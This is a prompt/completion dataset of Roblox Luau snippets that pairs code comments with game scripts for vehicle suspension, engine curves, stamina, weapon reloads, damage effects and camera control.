prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
-- Remote Events
-- Used by both client and server to replicate projectiles to opposite contexts
|
local RE_CreateProjectile = ReplicatedStorage.RemoteEvents.CreateProjectile
local RE_CreateThrowable = ReplicatedStorage.RemoteEvents.CreateThrowable
|
--Suspension Bases
|
local fbaseA = bike.FrontSection.TripleTreeHinge:Clone()
fbaseA.Parent = bike.FrontSection
fbaseA.Name = "FrontSuspensionBase"
if _Tune.FBricksVisible or _Tune.Debug then fbaseA.Transparency = .75 else fbaseA.Transparency = 1 end
fbaseA.Orientation = bike.FrontSection.TripleTreeHinge.Orientation
fbaseA.CFrame = fbaseA.CFrame+(Vector3.new(_Tune.FBaseOffset[1],_Tune.FBaseOffset[1],_Tune.FBaseOffset[1])*fbaseA.CFrame.rightVector)
fbaseA.CFrame = fbaseA.CFrame+(Vector3.new(_Tune.FBaseOffset[2],_Tune.FBaseOffset[2],_Tune.FBaseOffset[2])*fbaseA.CFrame.upVector)
fbaseA.CFrame = fbaseA.CFrame+(Vector3.new(_Tune.FBaseOffset[3],_Tune.FBaseOffset[3],_Tune.FBaseOffset[3])*fbaseA.CFrame.lookVector)
local fbaseB = axle2:Clone()
fbaseB.Parent = bike.FrontSection
fbaseB.Name = "FrontSuspensionAxle"
if _Tune.FBricksVisible or _Tune.Debug then fbaseB.Transparency = .75 else fbaseA.Transparency = 1 end
fbaseB.Orientation = bike.FrontSection.TripleTreeHinge.Orientation
fbaseB.CFrame = fbaseB.CFrame+(Vector3.new(_Tune.FAxleOffset[1],_Tune.FAxleOffset[1],_Tune.FAxleOffset[1])*fbaseB.CFrame.rightVector)
fbaseB.CFrame = fbaseB.CFrame+(Vector3.new(_Tune.FAxleOffset[2],_Tune.FAxleOffset[2],_Tune.FAxleOffset[2])*fbaseB.CFrame.upVector)
fbaseB.CFrame = fbaseB.CFrame+(Vector3.new(_Tune.FAxleOffset[3],_Tune.FAxleOffset[3],_Tune.FAxleOffset[3])*fbaseB.CFrame.lookVector)
fbaseB.CustomPhysicalProperties = PhysicalProperties.new(0,0,0,0.1,0.1)
local faxlea = Instance.new("Attachment", fbaseA)
local fwheela = Instance.new("Attachment", fbaseB)
local rbase = axle:Clone()
rbase.Parent = bike.Body
rbase.Name = "RearSuspensionBase"
if _Tune.RBricksVisible or _Tune.Debug then rbase.Transparency = .75 else rbase.Transparency = 1 end
rbase.Orientation = bike.RearSection.RearSwingArmHinge.Orientation
rbase.CFrame = rbase.CFrame+(Vector3.new(_Tune.RBaseOffset[1],_Tune.RBaseOffset[1],_Tune.RBaseOffset[1])*rbase.CFrame.rightVector)
rbase.CFrame = rbase.CFrame+(Vector3.new(_Tune.RBaseOffset[2],_Tune.RBaseOffset[2],_Tune.RBaseOffset[2])*rbase.CFrame.upVector)
rbase.CFrame = rbase.CFrame+(Vector3.new(_Tune.RBaseOffset[3],_Tune.RBaseOffset[3],_Tune.RBaseOffset[3])*rbase.CFrame.lookVector)
local raxlea = Instance.new("Attachment", axle)
local rwheela = Instance.new("Attachment", rWheel)
local rhinge = Instance.new("HingeConstraint", axle)
rhinge.Attachment0 = raxlea
rhinge.Attachment1 = rwheela
rhinge.ActuatorType = "Motor"
rhinge.MotorMaxAcceleration = 9e9
local rbaseattch = Instance.new("Attachment", rbase)
local rshock = Instance.new("SpringConstraint", rbase)
rshock.Attachment0 = raxlea
rshock.Attachment1 = rbaseattch
rshock.Visible = _Tune.RConstsVisible or _Tune.Debug
rshock.LimitsEnabled = true
rshock.Damping = _Tune.RSusDamping
rshock.Stiffness = _Tune.RSusStiffness
rshock.FreeLength = _Tune.RSusLength+_Tune.RPreComp
rshock.MaxLength = _Tune.RSusLength+_Tune.RExtLimit
rshock.MinLength = _Tune.RSusLength-_Tune.RCompLimit
local fshock = Instance.new("SpringConstraint", fbaseA)
fshock.Attachment0 = fwheela
fshock.Attachment1 = faxlea
fshock.Visible = _Tune.FConstsVisible or _Tune.Debug
fshock.LimitsEnabled = true
fshock.Damping = _Tune.FSusDamping
fshock.Stiffness = _Tune.FSusStiffness
fshock.FreeLength = _Tune.FSusLength+_Tune.FPreComp
fshock.MaxLength = _Tune.FSusLength+_Tune.FExtLimit
fshock.MinLength = _Tune.FSusLength-_Tune.FCompLimit
local fpris = Instance.new("PrismaticConstraint", fbaseA)
fpris.Attachment0 = faxlea
fpris.Attachment1 = fwheela
fpris.Visible = _Tune.FConstsVisible or _Tune.Debug
fpris.LimitsEnabled = true
fpris.UpperLimit = _Tune.FSusLength+_Tune.FExtLimit
fpris.LowerLimit = _Tune.FSusLength-_Tune.FCompLimit
local faxleb = Instance.new("Attachment", axle2)
local fwheelb = Instance.new("Attachment", fWheel)
local fhinge = Instance.new("HingeConstraint", axle2)
fhinge.Attachment0 = faxleb
fhinge.Attachment1 = fwheelb
fhinge.ActuatorType = "Motor"
fhinge.MotorMaxAcceleration = 9e9
|
--[=[
Short hand to register an event from the instance
```lua
Blend.mount(workspace, {
[Blend.OnEvent "ChildAdded"] = function(child)
print("Child added", child)
end;
})
local folder = Instance.new("Folder")
folder.Name = "Hi"
folder.Parent = workspace --> prints "Child added Hi"
```
@param eventName string
@return (instance: Instance) -> Observable
]=]
|
function Blend.OnEvent(eventName)
assert(type(eventName) == "string", "Bad eventName")
return function(instance)
return Rx.fromSignal(instance[eventName])
end
end
|
--Output Cache
|
local NCache = {}
local ECache = {}
local TCache = {}
local SCache = {}
for gear,ratio in pairs(_Tune.Ratios) do
local nhpPlot = {}
local ehpPlot = {}
local thpPlot = {}
local shpPlot = {}
for rpm = 0, math.ceil((_Tune.Redline+100)/100) do
local ntqPlot = {}
local etqPlot = {}
local ttqPlot = {}
local stqPlot = {}
if rpm~=0 then
if _Tune.Engine then
ntqPlot.Horsepower,ntqPlot.Torque = GetNCurve(rpm*100,gear-2)
if _TCount~=0 then
ttqPlot.Horsepower,ttqPlot.Torque = GetTCurve(rpm*100,gear-2)
else
ttqPlot.Horsepower,ttqPlot.Torque = 0,0
end
if _SCount~=0 then
stqPlot.Horsepower,stqPlot.Torque = GetSCurve(rpm*100,gear-2)
else
stqPlot.Horsepower,stqPlot.Torque = 0,0
end
else
ntqPlot.Horsepower,ntqPlot.Torque = 0,0
ttqPlot.Horsepower,ttqPlot.Torque = 0,0
stqPlot.Horsepower,stqPlot.Torque = 0,0
end
if _Tune.Electric then
etqPlot.Horsepower,etqPlot.Torque = GetECurve(rpm*100,gear-2)
else
etqPlot.Horsepower,etqPlot.Torque = 0,0
end
else
ntqPlot.Horsepower,ntqPlot.Torque = 0,0
etqPlot.Horsepower,etqPlot.Torque = 0,0
ttqPlot.Horsepower,ttqPlot.Torque = 0,0
stqPlot.Horsepower,stqPlot.Torque = 0,0
end
if _Tune.Engine then
nhp,ntq = GetNCurve((rpm+1)*100,gear-2)
if _TCount~=0 then
thp,ttq = GetTCurve((rpm+1)*100,gear-2)
else
thp,ttq = 0,0
end
if _SCount~=0 then
shp,stq = GetSCurve((rpm+1)*100,gear-2)
else
shp,stq = 0,0
end
else
nhp,ntq = 0,0
thp,ttq = 0,0
shp,stq = 0,0
end
if _Tune.Electric then
ehp,etq = GetECurve((rpm+1)*100,gear-2)
else
ehp,etq = 0,0
end
ntqPlot.HpSlope,ntqPlot.TqSlope = (nhp-ntqPlot.Horsepower),(ntq-ntqPlot.Torque)
etqPlot.HpSlope,etqPlot.TqSlope = (ehp-etqPlot.Horsepower),(etq-etqPlot.Torque)
ttqPlot.HpSlope,ttqPlot.TqSlope = (thp-ttqPlot.Horsepower),(ttq-ttqPlot.Torque)
stqPlot.HpSlope,stqPlot.TqSlope = (shp-stqPlot.Horsepower),(stq-stqPlot.Torque)
nhpPlot[rpm] = ntqPlot
ehpPlot[rpm] = etqPlot
thpPlot[rpm] = ttqPlot
shpPlot[rpm] = stqPlot
end
table.insert(NCache,nhpPlot)
table.insert(ECache,ehpPlot)
table.insert(TCache,thpPlot)
table.insert(SCache,shpPlot)
end
|
--------------------[ SPRINTING FUNCTIONS ]-------------------------------------------
|
function MonitorStamina()
while Run_Key_Pressed do
if (not Aimed) and (not Aiming) then
break
end
RS:wait()
end
while Run_Key_Pressed and (not Aiming) and (not Aimed) and (not Knifing) and (not ThrowingGrenade) do
local Forward = (Keys["w"] or Keys[string.char(17)])
local Backward = (Keys["s"] or Keys[string.char(18)])
if (Forward and (not Backward))
and Walking and (Stamina > 0) then
if Stance == 1 or Stance == 2 then Stand() end
local NewStamina = Stamina - 1
Stamina = (NewStamina < 0 and 0 or NewStamina)
Running = true
elseif (not (Forward and (not Backward)))
or (not Walking) or (Stamina == 0) then
break
end
RS:wait()
end
Running = false
RechargeStamina()
end
function RechargeStamina()
ChargingStamina = true
while ((not Run_Key_Pressed) or (Stamina < MaxStamina)) and (not Running) do
if Stamina < MaxStamina then
local NewStamina = Stamina + (S.SprintTime / S.StaminaCoolTime)
Stamina = (NewStamina > MaxStamina and MaxStamina or NewStamina)
elseif Stamina >= MaxStamina then
break
end
RS:wait()
end
ChargingStamina = false
end
|
--[[script.Parent.OnServerEvent:Connect(function(plr)
local char = plr.Character
local Effect = game.ReplicatedStorage.FlameSkill.SkillV
local Weld = Instance.new("Weld")
Weld.Parent = char.Head
Weld.Part0 = char.HumanoidRootPart
local FX = Effect:Clone()
FX.Parent = char.Head
Weld.Part1 = char.Head.SkillV
Weld.C1 = CFrame.new (0, -30, 0)
end)]]
|
script.Parent.OnServerEvent:Connect(function(plr)
local char = plr.Character
local Effect = game.ReplicatedStorage.FlameSkill.SkillV
local FX = Effect:Clone()
local energy = plr.Hamon
--local FX = game.ReplicatedStorage.FlameSkill.SkillV:Clone()
FX.Parent = char.Head
FX.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(0, 60, 0)
FX.Anchored = true
local Effect2 = game.ReplicatedStorage.FlameSkill.FlameV
local FX2 = Effect2:Clone()
if char.Humanoid.FloorMaterial == "Plastic" then
FX2.Transparency = 0
end
FX2.Parent = char.Head
FX2.CFrame = char.HumanoidRootPart.CFrame + Vector3.new(0, -10, 0)
FX2.Anchored = true
--FX2.Script.Disabled = false
energy.Value = energy.Value + 100
--FX.Script.Disabled = false
end)
|
--//Weight//--
|
VehicleWeight = 1300 --{Weight of vehicle in KG}
WeightDistribution = 40 --{To the rear}
|
-- Note: The active transparency controller could be made to listen for this event itself.
|
function CameraModule:OnCameraSubjectChanged()
if self.activeTransparencyController then
self.activeTransparencyController:SetSubject(game.Workspace.CurrentCamera.CameraSubject)
end
if self.activeOcclusionModule then
self.activeOcclusionModule:OnCameraSubjectChanged(game.Workspace.CurrentCamera.CameraSubject)
end
end
function CameraModule:OnCameraTypeChanged(newCameraType)
if newCameraType == Enum.CameraType.Scriptable then
if UserInputService.MouseBehavior == Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
-- Forward the change to ActivateCameraController to handle
self:ActivateCameraController(nil, newCameraType)
end
|
--Numbers
|
local Num1 = script.Parent.Code1Fake.CodeSet.Value
local Num2 = script.Parent.Code2Fake.CodeSet.Value
local Num3 = script.Parent.Code3Fake.CodeSet.Value
local FNum1 = script.Parent.Code1Fake.MainCode.NumberGUI.TextLabel
local FNum2 = script.Parent.Code2Fake.MainCode.NumberGUI.TextLabel
local FNum3 = script.Parent.Code3Fake.MainCode.NumberGUI.TextLabel
local Code = script.Parent.Code
local EnteredCode = script.Parent.EnteredCode
local Ready = script.Parent.Ready
Num1 = math.random(1,4)
Num2 = math.random(1,4)
Num3 = math.random(1,4)
if Num1 == 1 then
FNum1.Text = "I"
elseif Num1 == 2 then
FNum1.Text = "II"
elseif Num1 == 3 then
FNum1.Text = "III"
elseif Num1 == 4 then
FNum1.Text = "IV"
end
if Num2 == 1 then
FNum2.Text = "I"
elseif Num2 == 2 then
FNum2.Text = "II"
elseif Num2 == 3 then
FNum2.Text = "III"
elseif Num2 == 4 then
FNum2.Text = "IV"
end
if Num3 == 1 then
FNum3.Text = "I"
elseif Num3 == 2 then
FNum3.Text = "II"
elseif Num3 == 3 then
FNum3.Text = "III"
elseif Num3 == 4 then
FNum3.Text = "IV"
end
Code.Value = tostring(Num1)..""..tostring(Num2)..""..tostring(Num3)
Ready = true
|
--- Skill
|
repeat wait() until game.Players.LocalPlayer.Character
local plr = game.Players.LocalPlayer
local char = plr.Character
local hum = char:WaitForChild("Humanoid")
local Torso = char:WaitForChild("LowerTorso")
local Mouse = plr:GetMouse()
local toggle = false
local Debounce = true
Mouse.KeyDown:Connect(function(key)
if key == "f" and Tool.Equip.Value == true and Tool.Active.Value == "None" or Tool.Active.Value == "SunaFlight" then
if toggle == false and Debounce == true then
toggle = true
local Anim = Instance.new("Animation")
Anim.AnimationId = "rbxassetid://4865646330"
local PlayAnim = hum:LoadAnimation(Anim)
PlayAnim:Play()
Debounce = false
Tool.Active.Value = "SunaFlight"
script.Fire:FireServer(plr)
local BV = Instance.new("BodyVelocity",Torso)
BV.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
while toggle == true do
wait()
plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Vector3.new(Mouse.Hit.p.x,plr.Character.HumanoidRootPart.Position.y,Mouse.Hit.p.z))
BV.Velocity = Mouse.Hit.lookVector * 110
end
end
if toggle == true and Debounce == false then
toggle = false
Tool.Active.Value = "None"
script.UnFire:FireServer(plr)
Torso:FindFirstChildOfClass("BodyVelocity"):Destroy()
local tracks = hum:GetPlayingAnimationTracks()
for i, stoptracks in pairs(tracks) do
stoptracks:Stop()
end
local Anim = Instance.new("Animation")
Anim.AnimationId = "http://www.roblox.com/asset/?id=507767968"
local PlayAnim = hum:LoadAnimation(Anim)
PlayAnim:Play()
wait(3.5)
Debounce = true
end
end
end)
|
-- Function to bind to reload event
|
local function reload(player)
if not reloading and currentAmmo < clipSize and tool.Equipped then
tool.Handle.ReloadSound:Play()
reloading = true
canFire = false
if infiniteAmmo then -- dealing with infinite ammo
shotEvent:FireClient(player, "--", clipSize)
wait(reloadTime)
currentAmmo = clipSize
shotEvent:FireClient(player, currentAmmo, clipSize)
elseif consolidateAmmo then -- dealing with limited ammo that saves what's in your current clip
remainingAmmo = currentAmmo
shotEvent:FireClient(player, "--", ammoLeft)
wait(reloadTime)
currentAmmo = math.min(clipSize, (ammoLeft + remainingAmmo))
ammoLeft = (ammoLeft + remainingAmmo) - math.min(clipSize, (ammoLeft + remainingAmmo))
shotEvent:FireClient(player, currentAmmo, ammoLeft)
else -- dealing with limited ammo where you throw away any ammo remaining in your clip when you reload
shotEvent:FireClient(player, "--", ammoLeft)
wait(reloadTime)
currentAmmo = math.min(clipSize, ammoLeft)
ammoLeft = ammoLeft - math.min(clipSize, ammoLeft)
shotEvent:FireClient(player, currentAmmo, ammoLeft)
end
canFire = true
reloading = false
end
end
|
-- padding between each entry
|
local ENTRY_MARGIN = 1
local Input = game:GetService("UserInputService")
local HoldingCtrl = false
local HoldingShift = false
|
--SKP_7:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
|
SKP_7.HealthChanged:Connect(function(Health)
if Health < SKP_20 and Health < SKP_7.MaxHealth/2 then
local Hurt = ((Health/SKP_20) - 1) * -1
local SKP_22 = script.FX.Blur:clone()
SKP_22.Parent = game.Workspace.CurrentCamera
local SKP_23 = script.FX.ColorCorrection:clone()
SKP_23.Parent = game.Workspace.CurrentCamera
SKP_22.Size = ((Health/SKP_7.MaxHealth/2) - 1) * -35
SKP_23.TintColor = Color3.new(1,((Health/2) /SKP_20),((Health/2)/SKP_20))
SKP_10:Create(SKP_22,TweenInfo.new(3 * Hurt,Enum.EasingStyle.Sine,Enum.EasingDirection.Out,0,false,0),{Size = 0}):Play()
SKP_10:Create(SKP_23,TweenInfo.new(3 * Hurt,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{TintColor = Color3.new(1,1,1)}):Play()
SKP_11:AddItem(SKP_22, 3 * Hurt)
SKP_11:AddItem(SKP_23, 3 * Hurt)
end
SKP_20 = Health
end)
local SKP_24 = false
SKP_18.Changed:Connect(function(Valor)
end)
SKP_17.Changed:Connect(function(Valor)
if Valor >= SKP_17.MaxValue/2 then
SKP_12.Saturation = math.max(-1,(Valor - (SKP_17.MaxValue/2)) / (SKP_17.MaxValue/2)-1)
end
end)
SKP_HC.Changed:Connect(function(Valor)
if Valor >= 3 then
SKP_4.Render:FireServer(true,"N/A")
end
end)
SKP_15:GetAttributeChangedSignal("Collapsed"):Connect(function()
local Valor = SKP_15:GetAttribute("Collapsed")
if Valor == true then
SKP_13.Brightness = -10
else
SKP_13.Brightness = 0
end
end)
SKP_7.Died:Connect(function()
Morto = true
SKP_7.AutoRotate = false
SKP_13.TintColor = Color3.new(1,1,1)
--SKP_13.Brightness = 0
SKP_12.Saturation = 0
SKP_12.Contrast = 0
SKP_14.Size = 0
SKP_12.Saturation = 0
SKP_12.Contrast = 0
SKP_15.Variaveis.Dor.Value = 0
for _,Child in pairs(SKP_2.Character:GetChildren()) do
if Child:IsA("MeshPart") or Child:IsA("Part") then
Child.LocalTransparencyModifier = 0
end
end
if SKP_19 == true then
Tween = SKP_10:Create(SKP_13,TweenInfo.new(game.Players.RespawnTime/1.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{Brightness = 0, Contrast = 0,TintColor = Color3.new(0,0,0)}):Play()
end
end)
local SKP_25 = script.Parent.Parent.Humanoid
local SKP_26 = game.ReplicatedStorage.ACS_Engine.Events.MedSys.Collapse
function onChanged()
if (SKP_17.Value <= 3500) or (SKP_18.Value >= 200) or SKP_15:GetAttribute("Collapsed") then
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)
SKP_25:UnequipTools()
SKP_26:FireServer()
elseif (SKP_17.Value > 3500) and (SKP_18.Value < 200) and not SKP_15:GetAttribute("Collapsed") then -- YAY A MEDIC ARRIVED! =D
SKP_26:FireServer()
if not SKP_15:GetAttribute("Surrender") then
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)
end
end
end
onChanged()
SKP_17.Changed:Connect(onChanged)
SKP_18.Changed:Connect(onChanged)
SKP_15:GetAttributeChangedSignal("Surrender"):Connect(function()
local Valor = SKP_15:GetAttribute("Surrender")
if Valor == true then
SKP_25:UnequipTools()
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,false)
else
SKP_6:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack,true)
end
end)
local RS = game:GetService("RunService")
RS.RenderStepped:connect(function(Update)
if Morto and SKP_2.Character and SKP_2.Character:FindFirstChild("Head") ~= nil then
game.Workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
game.Workspace.CurrentCamera.CFrame = SKP_2.Character.Head.CFrame
end
end)
while true do
SKP_10:Create(SKP_14,TweenInfo.new(2.5,Enum.EasingStyle.Elastic,Enum.EasingDirection.Out,0,false,2.5),{Size = (SKP_15.Variaveis.Dor.Value/200) * 25}):Play()
wait(5)
SKP_10:Create(SKP_14,TweenInfo.new(1,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0),{Size = 0}):Play()
wait(2.5)
end
|
--[[ The Module ]]
|
--
local BaseCamera = {}
BaseCamera.__index = BaseCamera
function BaseCamera.new()
local self = setmetatable({}, BaseCamera)
-- So that derived classes have access to this
self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD
self.cameraType = nil
self.cameraMovementMode = nil
self.lastCameraTransform = nil
self.lastUserPanCamera = tick()
self.humanoidRootPart = nil
self.humanoidCache = {}
-- Subject and position on last update call
self.lastSubject = nil
self.lastSubjectPosition = Vector3.new(0, 5, 0)
self.lastSubjectCFrame = CFrame.new(self.lastSubjectPosition)
-- These subject distance members refer to the nominal camera-to-subject follow distance that the camera
-- is trying to maintain, not the actual measured value.
-- The default is updated when screen orientation or the min/max distances change,
-- to be sure the default is always in range and appropriate for the orientation.
self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance)
self.inFirstPerson = false
self.inMouseLockedMode = false
self.portraitMode = false
self.isSmallTouchScreen = false
-- Used by modules which want to reset the camera angle on respawn.
self.resetCameraAngle = true
self.enabled = false
-- Input Event Connections
self.PlayerGui = nil
self.cameraChangedConn = nil
self.viewportSizeChangedConn = nil
-- VR Support
self.shouldUseVRRotation = false
self.VRRotationIntensityAvailable = false
self.lastVRRotationIntensityCheckTime = 0
self.lastVRRotationTime = 0
self.vrRotateKeyCooldown = {}
self.cameraTranslationConstraints = Vector3.new(1, 1, 1)
self.humanoidJumpOrigin = nil
self.trackingHumanoid = nil
self.cameraFrozen = false
self.subjectStateChangedConn = nil
self.gamepadZoomPressConnection = nil
-- Mouse locked formerly known as shift lock mode
self.mouseLockOffset = ZERO_VECTOR3
-- Initialization things used to always execute at game load time, but now these camera modules are instantiated
-- when needed, so the code here may run well after the start of the game
if player.Character then
self:OnCharacterAdded(player.Character)
end
player.CharacterAdded:Connect(function(char)
self:OnCharacterAdded(char)
end)
if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end
self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function()
self:OnCurrentCameraChanged()
end)
self:OnCurrentCameraChanged()
if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end
self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end
self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end
self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function()
self:OnPlayerCameraPropertyChange()
end)
if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end
self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
self:OnDevTouchMovementModeChanged()
end)
self:OnDevTouchMovementModeChanged() -- Init
if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end
self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
self:OnGameSettingsTouchMovementModeChanged()
end)
self:OnGameSettingsTouchMovementModeChanged() -- Init
UserGameSettings:SetCameraYInvertVisible()
UserGameSettings:SetGamepadCameraSensitivityVisible()
self.hasGameLoaded = game:IsLoaded()
if not self.hasGameLoaded then
self.gameLoadedConn = game.Loaded:Connect(function()
self.hasGameLoaded = true
self.gameLoadedConn:Disconnect()
self.gameLoadedConn = nil
end)
end
self:OnPlayerCameraPropertyChange()
return self
end
function BaseCamera:GetModuleName()
return "BaseCamera"
end
function BaseCamera:OnCharacterAdded(char)
self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled()
self.humanoidRootPart = nil
if UserInputService.TouchEnabled then
self.PlayerGui = player:WaitForChild("PlayerGui")
for _, child in ipairs(char:GetChildren()) do
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end
char.ChildAdded:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = true
end
end)
char.ChildRemoved:Connect(function(child)
if child:IsA("Tool") then
self.isAToolEquipped = false
end
end)
end
end
function BaseCamera:GetHumanoidRootPart(): BasePart
if not self.humanoidRootPart then
if player.Character then
local humanoid = player.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
self.humanoidRootPart = humanoid.RootPart
end
end
end
return self.humanoidRootPart
end
function BaseCamera:GetBodyPartToFollow(humanoid: Humanoid, isDead: boolean) -- BasePart
-- If the humanoid is dead, prefer the head part if one still exists as a sibling of the humanoid
if humanoid:GetState() == Enum.HumanoidStateType.Dead then
local character = humanoid.Parent
if character and character:IsA("Model") then
return character:FindFirstChild("Head") or humanoid.RootPart
end
end
return humanoid.RootPart
end
function BaseCamera:GetSubjectCFrame(): CFrame
local result = self.lastSubjectCFrame
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if not cameraSubject then
return result
end
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
if (VRService.VREnabled and not FFlagUserFlagEnableNewVRSystem) and humanoidIsDead and humanoid == self.lastSubject then
result = self.lastSubjectCFrame
else
local bodyPartToFollow = humanoid.RootPart
-- If the humanoid is dead, prefer their head part as a follow target, if it exists
if humanoidIsDead then
if humanoid.Parent and humanoid.Parent:IsA("Model") then
bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow
end
end
if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then
local heightOffset
if humanoid.RigType == Enum.HumanoidRigType.R15 then
if humanoid.AutomaticScalingEnabled then
heightOffset = R15_HEAD_OFFSET
local rootPart = humanoid.RootPart
if bodyPartToFollow == rootPart then
local rootPartSizeOffset = (rootPart.Size.Y - HUMANOID_ROOT_PART_SIZE.Y)/2
heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)
end
else
heightOffset = R15_HEAD_OFFSET_NO_SCALING
end
else
heightOffset = HEAD_OFFSET
end
if humanoidIsDead then
heightOffset = ZERO_VECTOR3
end
result = bodyPartToFollow.CFrame*CFrame.new(heightOffset + humanoid.CameraOffset)
end
end
elseif cameraSubject:IsA("BasePart") then
result = cameraSubject.CFrame
elseif cameraSubject:IsA("Model") then
-- Model subjects are expected to have a PrimaryPart to determine orientation
if cameraSubject.PrimaryPart then
result = cameraSubject:GetPrimaryPartCFrame()
else
result = CFrame.new()
end
end
if result then
self.lastSubjectCFrame = result
end
return result
end
function BaseCamera:GetSubjectVelocity(): Vector3
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if not cameraSubject then
return ZERO_VECTOR3
end
if cameraSubject:IsA("BasePart") then
return cameraSubject.Velocity
elseif cameraSubject:IsA("Humanoid") then
local rootPart = cameraSubject.RootPart
if rootPart then
return rootPart.Velocity
end
elseif cameraSubject:IsA("Model") then
local primaryPart = cameraSubject.PrimaryPart
if primaryPart then
return primaryPart.Velocity
end
end
return ZERO_VECTOR3
end
function BaseCamera:GetSubjectRotVelocity(): Vector3
local camera = workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if not cameraSubject then
return ZERO_VECTOR3
end
if cameraSubject:IsA("BasePart") then
return cameraSubject.RotVelocity
elseif cameraSubject:IsA("Humanoid") then
local rootPart = cameraSubject.RootPart
if rootPart then
return rootPart.RotVelocity
end
elseif cameraSubject:IsA("Model") then
local primaryPart = cameraSubject.PrimaryPart
if primaryPart then
return primaryPart.RotVelocity
end
end
return ZERO_VECTOR3
end
function BaseCamera:StepZoom()
local zoom: number = self.currentSubjectDistance
local zoomDelta: number = CameraInput.getZoomDelta()
if math.abs(zoomDelta) > 0 then
local newZoom
if zoomDelta > 0 then
newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE)
newZoom = math.max(newZoom, self.FIRST_PERSON_DISTANCE_THRESHOLD)
else
newZoom = (zoom + zoomDelta)/(1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE)
newZoom = math.max(newZoom, FIRST_PERSON_DISTANCE_MIN)
end
if newZoom < self.FIRST_PERSON_DISTANCE_THRESHOLD then
newZoom = FIRST_PERSON_DISTANCE_MIN
end
self:SetCameraToSubjectDistance(newZoom)
end
return ZoomController.GetZoomRadius()
end
function BaseCamera:GetSubjectPosition(): Vector3
local result = self.lastSubjectPosition
local camera = game.Workspace.CurrentCamera
local cameraSubject = camera and camera.CameraSubject
if cameraSubject then
if cameraSubject:IsA("Humanoid") then
local humanoid = cameraSubject
local humanoidIsDead = humanoid:GetState() == Enum.HumanoidStateType.Dead
if (VRService.VREnabled and not FFlagUserFlagEnableNewVRSystem) and humanoidIsDead and humanoid == self.lastSubject then
result = self.lastSubjectPosition
else
local bodyPartToFollow = humanoid.RootPart
-- If the humanoid is dead, prefer their head part as a follow target, if it exists
if humanoidIsDead then
if humanoid.Parent and humanoid.Parent:IsA("Model") then
bodyPartToFollow = humanoid.Parent:FindFirstChild("Head") or bodyPartToFollow
end
end
if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then
local heightOffset
if humanoid.RigType == Enum.HumanoidRigType.R15 then
if humanoid.AutomaticScalingEnabled then
heightOffset = R15_HEAD_OFFSET
if bodyPartToFollow == humanoid.RootPart then
local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2)
heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0)
end
else
heightOffset = R15_HEAD_OFFSET_NO_SCALING
end
else
heightOffset = HEAD_OFFSET
end
if humanoidIsDead then
heightOffset = ZERO_VECTOR3
end
result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset)
end
end
elseif cameraSubject:IsA("VehicleSeat") then
local offset = SEAT_OFFSET
if VRService.VREnabled and not FFlagUserFlagEnableNewVRSystem then
offset = VR_SEAT_OFFSET
end
result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset)
elseif cameraSubject:IsA("SkateboardPlatform") then
result = cameraSubject.CFrame.p + SEAT_OFFSET
elseif cameraSubject:IsA("BasePart") then
result = cameraSubject.CFrame.p
